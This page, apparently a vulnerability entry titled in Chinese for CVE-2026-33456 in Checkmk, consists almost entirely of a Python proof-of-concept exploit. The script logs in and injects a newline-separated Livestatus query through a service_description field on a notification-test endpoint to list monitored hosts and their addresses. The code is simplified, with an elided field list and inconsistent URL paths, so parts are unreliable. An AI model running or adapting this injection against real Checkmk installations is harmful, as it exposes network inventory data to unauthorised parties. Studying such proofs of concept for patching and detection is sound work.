CVE-2026-33456 Checkmk Livestatus注入漏洞

import requests def exploit_checkmk(target_url, username, password): """ PoC for CVE-2026-33456: Livestatus Injection in Checkmk Notification Test. """ session = requests.Session() # Step 1: Authenticate (Simplified) login_url = f"{target_url}/check_mk/login.py" login_data = {'_username': username, '_password': password, '_login': '1'} session.post(login_url, data=login_data) # Step 2: Craft malicious payload # Injecting a Livestatus query to list all hosts # The newline character is key to breaking out of the intended context malicious_service_desc = "LegitimateService\nGET hosts\nColumns: name address\nOutputFormat: json\n" # Step 3: Send request to notification test endpoint # URL structure might vary based on Checkmk version exploit_url = f"{target_url}/checkmk/notifications_test.py" payload = { 'service_description': malicious_service_desc, 'mode': 'test', # other required fields... } response = session.post(exploit_url, data=payload) if response.status_code == 200: print("[+] Request sent successfully. Check response for injected data.") print(response.text) else: print("[-] Exploit failed") if __name__ == "__main__": # Replace with actual target details exploit_checkmk("http://localhost", "user", "pass")